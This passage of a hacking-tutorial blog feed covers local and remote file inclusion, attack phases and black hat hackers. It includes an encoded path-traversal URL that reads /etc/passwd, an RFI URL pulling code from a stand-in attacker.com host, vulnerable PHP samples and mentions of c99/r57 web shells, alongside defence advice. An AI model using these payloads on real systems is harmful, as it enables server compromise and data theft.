small;&quot;&gt;&lt;b&gt;Filter Evasion:&lt;/b&gt;&lt;/span&gt;&lt;/li&gt;&lt;/ul&gt;&lt;/div&gt;&lt;div&gt;&lt;span style=&quot;font-size: small;&quot;&gt;Most good admins will have protected against the simplest LFI attacks, so we should update the example script accordingly.&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-size: small;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;pre class=&quot;alt2&quot; style=&quot;border: 1px inset; height: 120px; margin: 0pt; overflow: auto; padding: 6px; text-align: left; width: 220px;&quot;&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-size: small;&quot;&gt;&amp;lt;?php&lt;br /&gt;$page = str_replace(&#39;../&#39;, &#39;&#39;, $_GET[&#39;page&#39;]);&lt;br /&gt;if(isset($page))&lt;br /&gt;include(&quot;files/$page&quot;);&lt;br /&gt;else&lt;br /&gt;include(&quot;index.php&quot;);&lt;br /&gt;?&amp;gt;&lt;/span&gt;&lt;/pre&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span style=&quot;font-size: small;&quot;&gt;One way to break this defence is to encode one or more characters into hexadecimal.  This works because the browser decodes the input, but PHP does not. Our  new LFI would be:&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;pre class=&quot;alt2&quot; style=&quot;border: 1px inset; height: 30px; margin: 0pt; overflow: auto; padding: 6px; text-align: left; width: 450px;&quot;&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-size: small;&quot;&gt;http://victim.com/index.php?page=..%2F..%2F..%2F..%2Fetc%2Fpasswd&lt;/span&gt;&lt;/pre&gt;&lt;/div&gt;&lt;div&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;ul&gt;&lt;li&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&lt;b&gt;Protection:&lt;/b&gt;&lt;/span&gt;&lt;/li&gt;&lt;/ul&gt;&lt;/div&gt;&lt;div&gt;&lt;ol&gt;&lt;li&gt;&lt;span style=&quot;font-size: small;&quot;&gt;Process URI requests that do not result in a file request, e.g., executing a hook into user code, before continuing below.&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span style=&quot;font-size: small;&quot;&gt;When a URI request for a file/directory is to be made, build a full  path to the file/directory if it exists, and normalize all characters  (e.g., %20 converted to spaces).&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span style=&quot;font-size: small;&quot;&gt;It is assumed that a &#39;Document Root&#39; fully qualified, normalized, path is known, and this string has a length &lt;i&gt;N&lt;/i&gt;. Assume that no files outside this directory can be served.&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span style=&quot;font-size: small;&quot;&gt;Ensure that the first &lt;i&gt;N&lt;/i&gt; characters of the fully qualified path to the requested file is exactly the same as the &#39;Document Root&#39;. If so, allow the file to be returned. If not, return an error, since the request is clearly out of bounds from what the web-server should be allowed to serve.&lt;/span&gt;&lt;/li&gt;&lt;/ol&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-size: small;&quot;&gt;&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-size: small;&quot;&gt;&lt;b&gt;Happy Hacking...Enjoy...&lt;/b&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-size: small;&quot;&gt;&lt;br /&gt;&lt;span style=&quot;font-weight: bold;&quot;&gt;&lt;span style=&quot;color: red;&quot;&gt;For educational purpose only...Do not misuse it...&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://www.xtrmhack.com/feeds/4743920466775387977/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.xtrmhack.com/2011/11/local-file-inclusion.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/9011660198155217135/posts/default/4743920466775387977'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/9011660198155217135/posts/default/4743920466775387977'/><link rel='alternate' type='text/html' href='http://www.xtrmhack.com/2011/11/local-file-inclusion.html' title='LOCAL FILE INCLUSION'/><author><name>Rajat Das</name><uri>http://www.blogger.com/profile/15687869933369691733</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="http://3.bp.blogspot.com/-mUvDUDAnw_s/Ttblh9pvk1I/AAAAAAAAAk8/l8-dq5xJZVY/s72-c/LFI.jpg" height="72" width="72"/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-9011660198155217135.post-5910945542808105233</id><published>2011-11-17T20:07:00.000-08:00</published><updated>2013-06-09T11:27:29.869-07:00</updated><title type='text'>REMOTE FILE INCLUSION</title><content type='html'>&lt;div dir=&quot;ltr&quot; style=&quot;text-align: left;&quot; trbidi=&quot;on&quot;&gt;&lt;ul style=&quot;font-family: inherit;&quot;&gt;&lt;li&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&lt;b&gt;&lt;span class=&quot;Apple-style-span&quot;&gt;Whai is RFI ?&lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;/li&gt;&lt;/ul&gt;&lt;div style=&quot;font-family: inherit;&quot;&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-size: small;&quot;&gt;&lt;b&gt;Remote File Inclusion&lt;/b&gt; (RFI) is a type of vulnerability most often found on websites. It allows an attacker to include a remote file, usually through a script on the web server. The vulnerability occurs due to the use of user-supplied input without proper validation.&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;font-family: inherit;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;font-family: inherit;&quot;&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-size: small;&quot;&gt;&lt;br /&gt;&lt;a href=&quot;http://1.bp.blogspot.com/-fgJei2tHuS8/TsX6b6mGHDI/AAAAAAAAAkY/zuzsSZziyd8/s1600/rfi.jpg&quot; onblur=&quot;try {parent.deselectBloggerImageGracefully();} catch(e) {}&quot;&gt;&lt;img alt=&quot;&quot; border=&quot;0&quot; id=&quot;BLOGGER_PHOTO_ID_5676218262862830642&quot; src=&quot;http://1.bp.blogspot.com/-fgJei2tHuS8/TsX6b6mGHDI/AAAAAAAAAkY/zuzsSZziyd8/s200/rfi.jpg&quot; style=&quot;cursor: pointer; display: block; height: 103px; margin: 0px auto 10px; text-align: center; width: 200px;&quot; /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;An attacker can use RFI for:&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;font-family: inherit;&quot;&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-size: small;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;font-family: inherit;&quot;&gt;&lt;div&gt;&lt;ul&gt;&lt;li&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&lt;i&gt;Running malicious code on the server&lt;/i&gt;: any code in the included malicious files will be run by the server. If the file include is not executed using some wrapper, code in include files is executed in the context of the server user. This could lead to a complete system compromise.&lt;/span&gt;&lt;/li&gt;&lt;/ul&gt;&lt;/div&gt;&lt;div&gt;&lt;ul&gt;&lt;li&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&lt;i&gt;Running malicious code on clients&lt;/i&gt;: the attacker&#39;s malicious code can manipulate the content of the response sent to the client. The attacker can embed malicious code in the response that will be run by the client (for example, Javascript to steal the client session cookies).&lt;/span&gt;&lt;/li&gt;&lt;/ul&gt;&lt;/div&gt;&lt;div&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;div&gt;&lt;ul&gt;&lt;li&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&lt;b&gt;&lt;span class=&quot;Apple-style-span&quot;&gt;Example:&lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;/li&gt;&lt;/ul&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-size: small;&quot;&gt;Typically, RFI attacks are performed by setting the value of a  request parameter to a URL that refers to a malicious file. Consider the  following PHP code:&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div style=&quot;font-family: inherit;&quot;&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-size: small;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;pre class=&quot;alt2&quot; style=&quot;border: 1px inset; font-family: inherit; height: 80px; margin: 0pt; overflow: auto; padding: 6px; text-align: left; width: 225px;&quot;&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-size: small;&quot;&gt;&amp;lt;?php&lt;br /&gt;$page = $_REQUEST[&quot;page&quot;];&lt;br /&gt;include($page.&quot;.php&quot;);&lt;br /&gt;?&amp;gt;&lt;/span&gt;&lt;/pre&gt;&lt;div style=&quot;font-family: inherit;&quot;&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-size: small;&quot;&gt;&lt;br /&gt;The first line of code extracts the value of the &lt;i&gt;page&lt;/i&gt; parameter from  the HTTP request. The second line of code dynamically sets the page name  to be included using the extracted value. If the web application does  not properly sanitize the value of the page parameter, this code can be exploited. &lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;font-family: inherit;&quot;&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-size: small;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;font-family: inherit;&quot;&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-size: small;&quot;&gt;Consider the  following URL:&lt;/span&gt;&lt;br /&gt;&lt;div&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-size: small;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;pre class=&quot;alt2&quot; style=&quot;border: 1px inset; height: 30px; margin: 0pt; overflow: auto; padding: 6px; text-align: left; width: 450px;&quot;&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-size: small;&quot;&gt;http://www.target.com/vuln_page.php?file=http://www.attacker.com/malicious&lt;/span&gt;&lt;/pre&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-size: small;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-size: small;&quot;&gt;In this case the included page name will resolve to:&lt;/span&gt;&lt;br /&gt;&lt;pre class=&quot;alt2&quot; style=&quot;border: 1px inset; height: 20px; margin: 0pt; overflow: auto; padding: 6px; text-align: left; width: 450px;&quot;&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-size: small;&quot;&gt;http://www.attacker.com/malicious.php &lt;/span&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;&lt;div style=&quot;font-family: inherit;&quot;&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-size: small;&quot;&gt;&lt;br /&gt;Thus, the remote file will be included and any malicious code in it will be run by the server. Most popular of them are &lt;i&gt;&lt;b&gt;c99&lt;/b&gt;&lt;/i&gt; or &lt;i&gt;&lt;b&gt;r57&lt;/b&gt;&lt;/i&gt; shell which allows an attacker to browse the filesystem, upload, view, and edit files as well as move files, delete files, and even change permissions, all as the web server.&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;font-family: inherit;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;div&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-size: small;&quot;&gt;&lt;br /&gt;&lt;a href=&quot;http://3.bp.blogspot.com/-0FYWpUHkce4/TsYJqLpWXhI/AAAAAAAAAkk/ovEYgWJCZIk/s1600/c99.png&quot; onblur=&quot;try {parent.deselectBloggerImageGracefully();} catch(e) {}&quot;&gt;&lt;img alt=&quot;&quot; border=&quot;0&quot; id=&quot;BLOGGER_PHOTO_ID_5676235000632466962&quot; src=&quot;http://3.bp.blogspot.com/-0FYWpUHkce4/TsYJqLpWXhI/AAAAAAAAAkk/ovEYgWJCZIk/s320/c99.png&quot; style=&quot;cursor: pointer; display: block; height: 180px; margin: 0px auto 10px; text-align: center; width: 330px;&quot; /&gt;&lt;/a&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;ul&gt;&lt;li&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&lt;b&gt;&lt;span class=&quot;Apple-style-span&quot;&gt;Prevention:&lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;/li&gt;&lt;/ul&gt;&lt;/div&gt;&lt;div&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-size: small;&quot;&gt;The most common protection mechanism against RFI attacks is based on signatures for known vulnerabilities in the Web application. Now we can improve the detection and blocking of such attacks by creating a blacklist of attack sources and a black list of URLs of remotely included malicious scripts:&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-size: small;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span style=&quot;font-size: small;&quot;&gt;1. Advanced knowledge of RFI attack sources enables the WAF to block an attack before it even begins.&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-size: small;&quot;&gt;2. A blacklist of the referenced URL enables the WAF to block exploits targeting zero-day vulnerabilities of applications.&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-size: small;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-size: small;&quot;&gt;3. The blacklist of IPs constructed from the RFI attack observations could be used to block other types of attacks issued from the same malicious sources.&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-size: small;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-size: small;&quot;&gt;&lt;br /&gt;&lt;b&gt;Happy Hacking...Enjoy... &lt;/b&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-size: small;&quot;&gt;&lt;br /&gt;&lt;span style=&quot;font-weight: bold;&quot;&gt;&lt;span style=&quot;color: red;&quot;&gt;For educational purpose only...Do not misuse it...&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://www.xtrmhack.com/feeds/5910945542808105233/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.xtrmhack.com/2011/11/remote-file-inclusion.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/9011660198155217135/posts/default/5910945542808105233'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/9011660198155217135/posts/default/5910945542808105233'/><link rel='alternate' type='text/html' href='http://www.xtrmhack.com/2011/11/remote-file-inclusion.html' title='REMOTE FILE INCLUSION'/><author><name>Rajat Das</name><uri>http://www.blogger.com/profile/15687869933369691733</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="http://1.bp.blogspot.com/-fgJei2tHuS8/TsX6b6mGHDI/AAAAAAAAAkY/zuzsSZziyd8/s72-c/rfi.jpg" height="72" width="72"/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-9011660198155217135.post-5386282905908614080</id><published>2011-11-17T04:24:00.000-08:00</published><updated>2013-06-09T11:28:07.217-07:00</updated><title type='text'>EXPLORE THE ATTACK</title><content type='html'>&lt;div dir=&quot;ltr&quot; style=&quot;text-align: left;&quot; trbidi=&quot;on&quot;&gt;&lt;ul style=&quot;font-family: inherit;&quot;&gt;&lt;li&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&lt;b&gt;&lt;span class=&quot;Apple-style-span&quot;&gt;How does the attack begin ?&lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;/li&gt;&lt;/ul&gt;&lt;div style=&quot;font-family: inherit;&quot;&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-size: small;&quot;&gt;Attackers follow a fixed methodology to penetrate into a system. The steps a hacker follows can be broadly divided into five phases:&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;font-family: inherit;&quot;&gt;&lt;div&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-size: small;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-size: small;&quot;&gt;&lt;br /&gt;&lt;a href=&quot;http://1.bp.blogspot.com/-iX1Fp08FnTc/TsT_5YjJgjI/AAAAAAAAAjw/OQl-Qf7ZScA/s1600/1.jpg&quot; onblur=&quot;try {parent.deselectBloggerImageGracefully();} catch(e) {}&quot;&gt;&lt;img alt=&quot;&quot; border=&quot;0&quot; id=&quot;BLOGGER_PHOTO_ID_5675942791701168690&quot; src=&quot;http://1.bp.blogspot.com/-iX1Fp08FnTc/TsT_5YjJgjI/AAAAAAAAAjw/OQl-Qf7ZScA/s320/1.jpg&quot; style=&quot;cursor: pointer; display: block; height: 275px; margin: 0px auto 10px; text-align: center; width: 300px;&quot; /&gt;&lt;/a&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;font-family: inherit;&quot;&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-size: small;&quot;&gt;&lt;br /&gt;&lt;b&gt;1. Reconnaissance:&lt;/b&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;font-family: inherit;&quot;&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-size: small;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;font-family: inherit;&quot;&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-size: small;&quot;&gt;Reconnaissance or Footprinting is consideredthe first pre-attack phase and is a systematic attempt to locate, gather, identify, and record information about the target. The hacker seeks to find out as much information as possible about the victim. Some hackers might dumpster dive to find out more about the victim. &lt;i&gt;Dumpster diving&lt;/i&gt; is the act of going through the victim&#39;s trash. Another favorite of the hacker is &lt;i&gt;social engineering&lt;/i&gt;. A social  engineer is a person who can smooth talk other individuals into  revealing sensitive information. This might be accomplished by calling  the help desk and asking someone to reset a password or by sending an  email to an insider telling him he needs to reset an account.&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;font-family: inherit;&quot;&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-size: small;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;font-family: inherit;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&lt;b&gt;&lt;span class=&quot;Apple-style-span&quot;&gt;2. Scanning:&lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;font-family: inherit;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&lt;b&gt;&lt;span class=&quot;Apple-style-span&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;font-family: inherit;&quot;&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-size: small;&quot;&gt;Scanning and enumeration is considered the second pre-attack phase.  Scanning is the active step of attempting to connect to systems to  elicit a response. Enumeration is used to gather more in-depth  information about the target, such as open shares and user account  information. At this step in the methodology, the hacker is moving from  passive information gathering to active information gathering. Hackers begin injecting packets into the network and might start using  scanning tools such as &lt;i&gt;Nmap&lt;/i&gt;. The goal is to map open ports and  applications. Unlike the elite blackhat hacker who attempts to remain stealth, script kiddies might even use vulnerability scanners such as &lt;i&gt;Nessus&lt;/i&gt; to scan a victim&#39;s network.&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;font-family: inherit;&quot;&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-size: small;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;font-family: inherit;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&lt;b&gt;&lt;span class=&quot;Apple-style-span&quot;&gt;3. Gaining Access:&lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;font-family: inherit;&quot;&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-size: small;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;font-family: inherit;&quot;&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-size: small;&quot;&gt;As far as potential damage, this could be considered one of the most  important steps of an attack. This phase of the attack occurs when the  hacker moves from simply probing the network to actually attacking it.  After the hacker has gained access, he can begin to move from system to  system, spreading his damage as he progresses. Access can be achieved in many different ways. A hacker might find a  vulnerability in the web server&#39;s software or might perform a &lt;i&gt;denial of service&lt;/i&gt; (DOS) on that server. If the hacker is really  bold, he might even walk in and tell the receptionist that he is late  for a meeting and will wait in the conference room with network access.  Pity the poor receptionist who unknowingly provided network access to a  malicious hacker.&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;font-family: inherit;&quot;&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-size: small;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;font-family: inherit;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&lt;b&gt;&lt;span class=&quot;Apple-style-span&quot;&gt;4. Maintaining Access:&lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;font-family: inherit;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&lt;b&gt;&lt;span class=&quot;Apple-style-span&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;font-family: inherit;&quot;&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-size: small;&quot;&gt;Hackers are diligent at working on ways to maintain access to the systems  they have attacked and compromised. They might attempt to pull down the  &lt;i&gt;etc/passwd&lt;/i&gt; file or steal other passwords so that they can access other  user&#39;s accounts. Rootkits are one option for hackers. A &lt;i&gt;rootkit&lt;/i&gt; is a set of tools used to help the attacker maintain his access to the system and use it for malicious purposes.&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;font-family: inherit;&quot;&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-size: small;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;font-family: inherit;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&lt;b&gt;&lt;span class=&quot;Apple-style-span&quot;&gt;5. Clearing Tracks:&lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;font-family: inherit;&quot;&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-size: small;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;font-family: inherit;&quot;&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-size: small;&quot;&gt;Nothing happens in a void, and that includes computer crime. Hackers are  much like other criminals in that they would like to be sure to remove  all evidence of their activities. Hackers must also be worried about the files or programs they leave on  the compromised system. In order that the target company’s security engineer or network administrator cannot detect the evidence of attack, the hacker needs to delete logs files and replace system binaries with Trojans.&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;font-family: inherit;&quot;&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-size: small;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;font-family: inherit;&quot;&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-size: small;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;font-family: inherit;&quot;&gt;&lt;ul&gt;&lt;li&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&lt;b&gt;How do you defend the attack ?&lt;/b&gt;&lt;/span&gt;&lt;/li&gt;&lt;/ul&gt;&lt;/div&gt;&lt;div style=&quot;font-family: inherit;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt;In order to defend a hacker, you have to think from his/her perspective. Being an ethical hacker, you will need to be aware of these tools and  techniques to discover their activities and to deploy adequate  countermeasures.&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;font-family: inherit;&quot;&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-size: small;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;font-family: inherit;&quot;&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-size: small;&quot;&gt;&lt;br /&gt;&lt;br /&gt;&lt;a href=&quot;http://1.bp.blogspot.com/-9cLYvq3pDuw/Ts5c59spvEI/AAAAAAAAAkw/AgxSDoq01pI/s1600/eh.jpg&quot; onblur=&quot;try {parent.deselectBloggerImageGracefully();} catch(e) {}&quot;&gt;&lt;img alt=&quot;&quot; border=&quot;0&quot; id=&quot;BLOGGER_PHOTO_ID_5678578331044920386&quot; src=&quot;http://1.bp.blogspot.com/-9cLYvq3pDuw/Ts5c59spvEI/AAAAAAAAAkw/AgxSDoq01pI/s320/eh.jpg&quot; style=&quot;cursor: pointer; display: block; height: 260px; margin: 0px auto 10px; text-align: center; width: 200px;&quot; /&gt;&lt;/a&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;font-family: inherit;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&lt;b&gt;Happy Hacking...Enjoy... &lt;/b&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;font-family: inherit;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;font-family: inherit;&quot;&gt;&lt;span style=&quot;font-size: small; font-weight: bold;&quot;&gt;&lt;span style=&quot;color: red;&quot;&gt;For educational purpose only...Do not misuse it...&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://www.xtrmhack.com/feeds/5386282905908614080/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.xtrmhack.com/2011/11/explore-attack.html#comment-form' title='2 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/9011660198155217135/posts/default/5386282905908614080'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/9011660198155217135/posts/default/5386282905908614080'/><link rel='alternate' type='text/html' href='http://www.xtrmhack.com/2011/11/explore-attack.html' title='EXPLORE THE ATTACK'/><author><name>Rajat Das</name><uri>http://www.blogger.com/profile/15687869933369691733</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="http://1.bp.blogspot.com/-iX1Fp08FnTc/TsT_5YjJgjI/AAAAAAAAAjw/OQl-Qf7ZScA/s72-c/1.jpg" height="72" width="72"/><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-9011660198155217135.post-2803967091485223816</id><published>2011-06-13T05:07:00.000-07:00</published><updated>2013-06-09T11:28:45.482-07:00</updated><title type='text'>THE MOST WANTED BLACK HAT</title><content type='html'>&lt;div dir=&quot;ltr&quot; style=&quot;text-align: left;&quot; trbidi=&quot;on&quot;&gt;&lt;ul style=&quot;font-family: inherit;&quot;&gt;&lt;li&gt;&lt;span style=&quot;font-size: small; font-weight: bold;&quot;&gt;WHAT IS A BLACK HAT HACKER ?&lt;/span&gt;&lt;/li&gt;&lt;/ul&gt;&lt;div style=&quot;font-family: inherit;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt;Black hat is used to describe a hacker who breaks into a computer system or network with malicious intent. Unlike a white hat hacker, the black hat hacker takes advantage of the break-in, perhaps destroying files or stealing data for some future purpose. The black hat hacker may also make the exploit known to other hackers or the public without notifying the victim. The black hats are also called the 